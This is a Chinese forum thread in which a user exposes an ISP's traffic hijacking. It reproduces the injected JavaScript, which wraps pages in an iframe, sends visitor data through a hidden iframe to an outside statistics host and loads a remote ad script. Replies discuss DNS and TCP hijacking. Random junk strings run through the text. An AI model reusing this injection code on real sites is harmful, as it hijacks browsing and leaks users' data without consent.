上网奇遇记

hudba

1 E: x/ }* }. W5 v9 `上网易看新闻半天打不开，发现状态栏在现实访问一个奇怪的域名。心里一惊，难道电脑中毒了？赶紧查看源代码，发现后面加了一段js，真正的新闻内容给iframe了
2 B# H5 o* Z3 a( |, C* }7 Y6 H& O1 `/ C
" ^/ U- \7 s8 z3 M6 Y& w接下来就是去搜索这个域名，得到v2ex里面也有人遇到这个问题，原来是运营商搞的鬼{:soso_e131:}

https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8

http://www.v2ex.com/t/142197

! X3 c- D/ L7 R# Y6 S# n; D顺便查下ip138：
/ V, ~- q, ^: L: D
这是那段js里面的代码，好象是个半成品还没写入广告数据：
) B4 V0 R/ h$ X2 w, K' K3 N9 F

1. function locationSearch() {
   ' E& X! f8 U( ]8 Z9 a1 |
2.         var s = getMainJs();
   
3.         if (s == null) {
   
4.                 location.reload();
   
5.         }
   
6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
   
7. }
   
8. 
   5 d3 j, }5 p% @- {+ U
9. function getParameter(name, paraStr) {
   
10.         var result = "";
    
11.         var str = "&" + paraStr.split("?")[1];
    7 s) \! d3 q1 B  r
12.         var paraName = "&" + name + "=";
    
13.         if (str.indexOf(paraName) != -1) {
    
14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
    2 p$ I% N& o* c9 Q) M: K
15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    
16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    % X/ G% ?, r8 z1 `
17.                                         1, TmpStr.length).indexOf("&")
    * N- F# p. ]6 E) e4 c
18.                                         - TmpStr.indexOf(paraName) + 1);
    / l( z1 A$ h; p7 l
19.                 } else {
    
20.                         result = str.substring(str.indexOf(paraName), str.length);
    9 w8 Z: g0 J3 G
21.                 }
    
22. 
    
23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    9 t$ e9 ?2 Q  m5 _1 h) K( H
24.         } else {
    
25.                 result = "No such parameter";
    % _0 C/ {) R2 U& o
26.         }
    
27.         return (result.replace("&", ""));
    
28. }
    
29. 
    
30. function getMainJs() {
    
31.         var scripts = document.getElementsByTagName("script");
    
32.         var s = null;
    0 u+ g9 q' i* i% R5 n
33.         for (var i = 0; i < scripts.length; i++) {
    
34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    $ a' G4 s5 k( ~3 a
35.                         s = scripts[i];
    / J, i% S/ z0 C
36.                         break;
    / @; Q6 P& F% }% b' o
37.                 }
    
38.         }
    & K/ M, w* l+ o- `. D
39.         return s;
    + W0 o3 G2 x% R1 {2 G
40. }
    % p9 t1 c3 ?( E+ |  e$ e8 K( `
41. 
    
42. function appendParam(oStr, aStr) {
    
43.         if (oStr.indexOf('?') > 0) {
    $ `  P% T# o2 I' ^7 a2 E& D
44.                 oStr = oStr + "&" + aStr;
    
45.         } else {
    
46.                 oStr = oStr + "?" + aStr;
    9 X2 a2 O& C+ F( [
47.         }
    
48.         return oStr;
    
49. }
    ; O7 y) p& a! i3 U
50. 
    4 y0 ?) n1 `- C3 J! \: y" C
51. window.onerror = function() {
    
52. };
    5 e$ L3 K% D- J
53. 
    
54. var g_titleTime = 0;
    
55. function setTcTitle() {
    
56.         if (undefined == document) {
    
57.                 g_titleTime++;
    # r) v- T! S5 q" b1 i& h8 |4 I5 b
58.                 setTimeout("setTcTitle();", 1000);
    
59.                 return;
    * }" t. c1 C1 g0 F4 @
60.         }
    9 j; c; C( i5 T% ~
61. 
    
62.         var doc;
    
63.         try {
    
64.                 if (document.all) {
    
65.                         doc = document.frames["cn"].document;
    ! K9 [. c9 Q8 v. J$ G
66.                 } else {
    
67.                         doc = document.getElementById("cn").contentDocument;
    
68.                 }
    - P  g: X* F, y
69.         } catch (ex) {
    
70.         }
    1 e# @1 q5 \8 H; @: E
71. 
    3 R' y8 }  T2 H/ p- B% Y) h
72.         if (g_titleTime < 5
    
73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    
74.                 g_titleTime++;
    * V5 f, r9 E4 f: F; [
75.                 setTimeout("setTcTitle();", 1000);
    
76.                 return;
    
77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    
78.                 document.title = doc.title;
    
79.                 setTcAdvVisible();
    7 r, a$ I. d6 k, J  B- V0 _% K
80.         }
    
81. }
    
82. 
    8 s5 k  t/ Z! A) a* }4 k
83. setTimeout("setTcTitle();", 1000);
    
84. 
    . C+ B5 u2 W. X8 q) e
85. var g_isHaveVisible = false;
    5 e; a" ^; g. L& ?! p
86. function setTcAdvVisible() {
    # t+ @+ r4 `, e/ r6 v
87.         if (undefined != document && undefined != document.getElementById("addiv")
    
88.                         && !g_isHaveVisible) {
    
89.                 document.getElementById("addiv").style.visibility = 'visible';
    
90.                 document.getElementById("addiv").style.display = 'block';
    4 b+ G+ @3 q. N( K5 l6 ]# r; g
91.                 g_isHaveVisible = true;
    
92.         }
    
93. }
    9 l6 ~5 G/ |: ~1 t# L
94. 
    1 ]" [6 z$ @2 [
95. function UrlAnalyzer() {
    
96.         this.divda = "";
    
97.         this.tctype = "";
    9 o- U% y) M( ~+ V
98.         this.radius = "";
    
99.         this.rlu = "";
    
100. }
     5 ]5 A( M- b/ H- w4 X: ?) i4 q
101. 
     
102. UrlAnalyzer.prototype.initParameters = function() {
     
103.         var paraStr = locationSearch();
     
104.         this.rlu = getParameter("lruedct", paraStr);
     6 a7 [( Z: _/ r/ ~1 b  T9 e( v
105.         this.divda = getParameter("divda", paraStr);
     
106.         this.radius = getParameter("radius", paraStr);
     
107.         this.tctype = getParameter("tctype", paraStr);
     
108.         this.address = getParameter("address", paraStr);
     
109.         this.usagent = getParameter("usagent", paraStr);
     , q( y! E2 W4 I4 R4 A! I, K
110. }
     1 z# G& N+ V; _
111. 
     3 P2 m* ]- m/ ^3 ~; P! T
112. UrlAnalyzer.prototype.getHtmlDoc = function() {
     
113.         var doc;
     - I  O# N( L( k, V9 E# |
114.         try {
     / ^. a. s0 t- T. k; M
115.                 if (document.all) {
     
116.                         doc = document.frames["cn"].document;
     ; [7 B! q2 J/ M$ c1 a
117. 
     3 d* @! P" K1 s$ e$ o5 o8 S3 V0 j
118.                 } else {
     6 @  h5 c7 ~7 h" z- }/ s
119.                         doc = document.getElementById("cn").contentDocument;
     
120.                         // doc = document.getElementById("cn").contentWindow.document;
     
121.                 }
     
122.         } catch (ex) {
     
123.         }
     2 ^7 O( @& H& E3 [8 E+ X1 i
124.         return doc;
     
125. }
     
126. 
     
127. UrlAnalyzer.prototype.setDomain = function() {
     2 q1 W0 \) z5 q( ]9 d6 s+ U( W
128.         if (undefined != document.title && "" == document.title)
     . v; S1 A) z# u! i. Q+ G- z% y
129.         {
     
130.                 var index = document.domain.indexOf(".");
     9 v) `* l6 t" F
131.                 if (undefined != index && -1 != index) {
     + t2 {9 t5 k% ]7 t3 A" t5 {
132.                         document.domain = document.domain.substring(index + 1,
     ' D$ c4 ]3 Z* ]) ]; L2 f- v
133.                                         document.domain.length);
     
134.                 }
     
135.                
     
136.                 var doc = this.getHtmlDoc();
     ( P' X% |5 d- A& X
137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
     0 z" q$ m- [* p6 Y
138.                         document.title = doc.title;
     ' y! U8 A, B$ d9 [2 Q
139.                         setTcAdvVisible();
     1 y3 e% m, I' [; A: y, y# R6 [7 P
140.                 }
     % c. r* O! o' L; R
141.         }
     
142. }
     2 q0 }2 c7 O" d( L1 p
143. 
     5 A* m4 Z: t5 J" V
144. UrlAnalyzer.prototype.iframeCallback = function() {
     
145.         var doc = this.getHtmlDoc();
     
146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {
     
147.                 if (undefined != document.domain) {
     
148. 
     
149.                         var self = this;
     & Q1 f: I" g; q
150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
     2 N& k: W5 m) s2 K0 g
151.                         // var index = document.domain.indexOf(".");
     
152.                         // if (undefined != index && -1 != index) {
     : J: k. g/ w, v2 a
153.                         // document.domain = document.domain.substring(index + 1,
     
154.                         // document.domain.length);
       j& E% I. G; c8 k" @
155.                         // }
     
156.                         //
     
157.                         // var doc = this.getHtmlDoc();
     3 K# L: i0 V  M$ l0 X- t
158.                         // if (undefined != doc && undefined != doc.title && "" !=
     
159.                         // doc.title) {
     
160.                         // document.title = doc.title;
     
161.                         // setTcAdvVisible();
     & N, o) s# q% g- k  v1 l! K' |5 M
162.                         // }
     
163.                 }
     + W1 Y0 }6 ]" H
164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
     
165.                 document.title = doc.title;
     2 R9 ?% @( U8 J& n+ _
166.                 setTcAdvVisible();
     
167.         }
     5 r" v7 ~3 ~" x
168. }
     $ m; Y8 z% S  P' `! w
169. 
       g9 p0 j, r. x; O( |
170. UrlAnalyzer.prototype.executeHtmlContext = function() {
     
171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
     ' v3 g3 @, T, z
172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
     
173. 
     % J% g) p% C0 y
174.         var htmlStr = "<iframe src="" + staUrl
     * Z8 c; n3 f9 D1 U
175.                         + "" style="display:none"></iframe>";
     ' s: r+ j2 O8 d+ P2 A1 K- a/ v
176. 
     
177.         var advUrl = htmlStr
     
178.                         + "<script src="http://c2.sxite.com:8060/center?advId="
     
179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
     
180.         document.write(advUrl);
     : h& g! U" S5 w2 S
181. 
     % a3 m4 G& X+ Q5 ?6 v
182.         var self = this;
     ! t7 \* F  S% G) o: S
183.         var iframe = document.getElementById("cn");
     
184.         if (iframe.attachEvent) {
     
185.                 iframe.attachEvent("onload", function() {
     , s$ [& e% B6 M# W0 o
186.                         self.iframeCallback.call(self, null);
     + O6 y7 M0 U3 E5 U+ ]+ M9 b3 ^/ I
187.                 });
     
188.         } else {
     ( P& i# O- R1 a  @
189.                 iframe.onload = function() {
     , @$ j2 }8 e6 u7 b. M+ r
190.                         self.iframeCallback.call(self, null);
     + b5 P4 d" h( [7 r+ C$ M2 z! }/ q! j
191.                 }
     5 y5 [4 C$ u7 y% w
192.         }
     " z2 @! ~7 ]8 y- V* G" r, J8 V
193. }
     
194. 
     
195. UrlAnalyzer.prototype.executeMain = function() {
     3 C& w! B" A1 `; b
196.         var mainFrame = document.getElementById("cn");
     
197.         mainFrame.contentWindow.location.href = mainFrame.src;
     
198.         this.initParameters();
     0 F5 }! R) g* b* Y8 e2 o
199.         this.executeHtmlContext();
     
200. }
     
201. 
     
202. var g_analyzer = new UrlAnalyzer();
     % ?3 L- f4 y$ P' j4 \0 X
203. g_analyzer.executeMain();
     

复制代码

ads419

Welcome to China      

cissss

我在想有没有大牛会去干电信那个网页，那就发啦。哈哈

阿百川

所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

firearmer

法制不健全，没法。我这里也有电信绑架的问题，但你没辙，要国外，早赔的只剩内裤了。

老刘

电信DNS劫持不是一天两天了。国家垄断企业，没人能管”。。。

giveatry

我这段时间也遇到了，投诉了两次，这几天没出现了，再出现继续投诉

ads419

阿百川 发表于 2015-2-3 09:49
! ]3 X9 \! O# C7 R. `1 o& f# Z所以从不使用运行商的dns，http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

TCP劫持，换DNS也不管用的。

阿百川

ads419 发表于 2015-2-3 21:26
7 y$ M6 m- f/ |0 I6 P- O) WTCP劫持，换DNS也不管用的。

/ p, \) ?+ N) a' A  w6 j7 v5 ]. y幸好联通还木有这么强的技术

哈默

在国内，习惯就好